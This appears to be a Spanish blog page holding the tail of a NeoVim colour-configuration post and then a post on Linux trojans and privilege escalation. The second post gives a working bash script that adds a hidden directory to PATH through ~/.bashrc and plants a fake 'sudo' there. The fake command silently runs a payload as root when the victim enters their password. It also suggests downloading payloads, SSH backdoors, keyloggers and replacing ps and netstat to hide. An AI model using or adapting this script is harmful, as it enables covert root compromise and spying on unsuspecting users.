NeoVim sabe esto así que diciéndole que use los colores de la GUI en la terminal lo hará y tendremos los true colors. Otro problema es que muchos esquemas de color comprueban si se está utilizando el modo GUI o el de terminal para decidir qué esquema utilizan (el complejo o uno simplificado especial para la terminal). Esa comprobación se hace con has('gui_running'), cuidado con eso. Hay algunos esquemas de color que son para true colors y algunos no lo comprueban y funcionarán bien (ejemplo).

Ya que estaba me decidí también por buscar otras opciones similares. Existe una muy chula que te cambia la forma del cursor dependiendo del modo en el que estés. Usa el cuadradito para modo normal, un subrayado del carácter en el modo reemplazar y una barrita vertical que se sitúa entre caracteres en el modo insertar. De esta manera tenemos un pequeño apoyo visual al trabajar. Esto se activa con NVIM_TUI_ENABLE_CURSOR_SHAPE que igual que la de antes de “enable true color” se puede setear como variable de entorno en la terminal o con un let dentro de la configuración de NeoVim.

Otro día os hablo más de NeoVim e incluso puede que haga una especie de manual a mi manera. Pero eso otro día.

Os dejo con el patch que he aplicado a mi configuración:


" Enable TRUE COLORS
+let $NVIM_TUI_ENABLE_TRUE_COLOR=1
+let $NVIM_TUI_ENABLE_CURSOR_SHAPE=1
+set termguicolors

" Highlight where the lines are more than 80 characters wide
set colorcolumn=80
-highlight ColorColumn ctermbg=DarkGrey
+highlight ColorColumn ctermbg=DarkGrey guibg=#262626

Como veis en el ColorColumn, ahora aplico el guibg=#262626 que es un gris bastante oscuro en su color RGB. Al estar aplicado el termguicolors utilizará ese color también en la terminal.

¡Conseguido!

Probad y me decís.


PD: Os dejo mis dotfiles para que veáis mi configuración entera: https://github.com/ekaitz-zarraga/dotfiles

Troyanos y escalado de privilegios en Linux

Hola amigos,

Ya os hablé de como ejecutar comandos “fake” en Linux, de una forma estúpida que se me ocurrió de repente, sin necesitar permisos de administrador.

Hoy la vamos a liar muy parda y vamos a escalar privilegios y hacer mierdas locas con ello. ¿Os apetece?

Primero hablemos de los ingredientes:

  • Un troyano
  • La variable de entorno PATH
  • Un programa falso
  • Dar permisos de ejecución
  • Un incauto con permisos de administrador

Como todos sabemos la vulnerabilidad más grande que hay en un equipo se encuentra entre la silla y el teclado así que vamos a atacar ahí. Ahí entra en juego el troyano. Un troyano es básicamente un programa que apetece usar pero hace cosas maliciosas por detrás. Como el caballo de Troya, que era un regalo chulo de los atenienses pero dentro tenía soldados con malas intenciones. Como en aquella historia (os la recomiendo), el caballo sólo tendrá unos pocos efectivos para poder abrir las puertas de la fortaleza, no será quien destruya todo.

El troyano puede ser un juego, un script loco o lo que sea y tenemos que conseguir que nuestra presa lo ejecute. Sin permisos de superusuario ni nada, para que parezca que está seguro. Lo chulo vendrá después.

Nuestro troyano hará básicamente lo mismo que hace el post que os he linkado arriba. El troyano generará un programa que haga cosas maliciosas y lo insertará en una carpeta bajo el control del usuario. Además añadirá una línea en .bashrc del usuario o en el .bash_profile (o el archivo que use) que cambie la variable PATH y le meta el camino al directorio donde lo hemos situado. Estos archivos, por si no lo sabéis, se ejecutan cuando el usuario inicia una sesión. Así que la próxima vez que el usuario inicie una sesión, se la variable PATH incluirá nuestro directorio maldito.

Si llamamos sudo a ese programa que añadamos (podemos hacerlo con otros, pero con este truco escalaremos), cuando el usuario lance sudo el programa no lanzará el que quiere, si no nuestra copia maliciosa. En ella podemos lanzar algo utilizando con el sudo de verdad. El usuario esperará tener que meter la contraseña y, si lo hace, el programa hará algo que él no esperaba y con permisos de superusuario. Además, para que el usuario no sospeche (lo veréis en el código abajo) podemos lanzar nuestro código malicioso con sudo en background y lanzar después lo que el usuario quería, así él verá como que todo está bien.

Evidentemente, el troyano además tendría que darle permisos de ejecución al programa malicioso para que el usuario pueda lanzarlo sin problemas. Tampoco se requieren privilegios para esto así que es factible.

Si lo hacemos con otro comando cuidado: si el programa que pisamos está en /bin/ no funciona porque tiene preferencia el path /bin/ sobre el resto y nos lanzaría el original (sudo está en /usr/bin/).

Esta es la teoría.

Voy a enseñar esto en un lenguaje de scripting, en bash, concretamente. Esto es un ERROR si queremos joder al colega de verdad porque podría leer el código antes de ejecutar y ver nuestra movida. Lo hago sólo para demostrar que se puede hacer y nos lo pasemos bien.

También lo hago para que quede muy corto y fácil de leer, no quiero explayarme mucho aquí. Posiblemente haga una versión larga que se limpie a sí mismo y que infecte el sistema de forma oculta y permanente. Si lo hago lo enlazaré aquí.

Vamos al código:

#!/bin/bash

# Si el usuario tiene bashrc o bash_profile le añadimos nuestro path.
# No todo el mundo usa bash, así que habría que comprobar eso
# o utilizar .profile u otras opciones. Recuerdo: estamos jugando.
if [ -f ~/.bashrc ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bashrc
fi

if [ -f ~/.bash_profile ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bash_profile
fi

# Creamos el directorio maldito donde se alojará nuestro escalador de
# privilegios. Tiene que ser un lugar donde el usuario tenga acceso.
mkdir -p /path/al/directorio/maldito

# Volcamos el escalador de privilegios al directorio maldito, la orden
# 'maataar' puede ser lo que nosotros queramos hacer con el usuario. Más abajo
# cuento opciones.
cat > /path/al/directorio/maldito/sudo <<EOF
#!/bin/bash
/usr/bin/sudo -b maataaar >/dev/null 2>&1
/usr/bin/sudo $@
EOF

# Damos permisos de ejecución al comando maldito
chmod 777 /path/al/directorio/maldito/sudo

# Falta la funcionalidad que oculte que esto es un programa estrictamente
# malicioso.

El código que muestro es la versión extremadamente corta. Se pueden hacer muchas cosas. Vamos a contar algunas.

Se podría hacer que el script del troyano automáticamente se sobreescribiera y limpiase las cosas maliciosas que tiene porque su labor ya estaría hecha.

Lo mismo con el sudo, una vez habiendo escalado los privilegios podría pisar el comando sudo de verdad y borrar todo el rastro eliminando las líneas de .bashrc y el comando sudo falso con su directorio.

Sería factible también que, en lugar de estar embebido en el troyano, el código fuente del falso sudo se descargase de algún lugar en Internet, y con él se podría coger también algún otro programa agresivo para ejecutar en lugar de maataar.

Después del escalado de privilegios por ejemplo, podríamos levantar un servidor ssh para poder conectarnos al equipo desde el exterior, o un keylogger que nos envíe lo que el usuario teclea. Esto sería muy fácil de detectar si la víctima ejecutase ps o netstat, pero… ¿Si hemos pisado sudo, cómo no vamos a poder pisar eso?

Son opciones locas que se me ocurren pensando poco. Seguro que a vosotros se os ocurren más.

Dadle un par de vueltas y me contáis, que para eso está la sección de comentarios.

No prometo que el script funcione, tampoco es esa su intención. La idea es que sirva de pseudocódigo para que nos entendamos. De todas formas, debería funcionar.

Nada, ésta es un poco la historia. Espero que os haya molado. Como veis, he dejado muchas cosas abiertas para que investiguéis, así que ya sabéis. 😉

Un abrazo.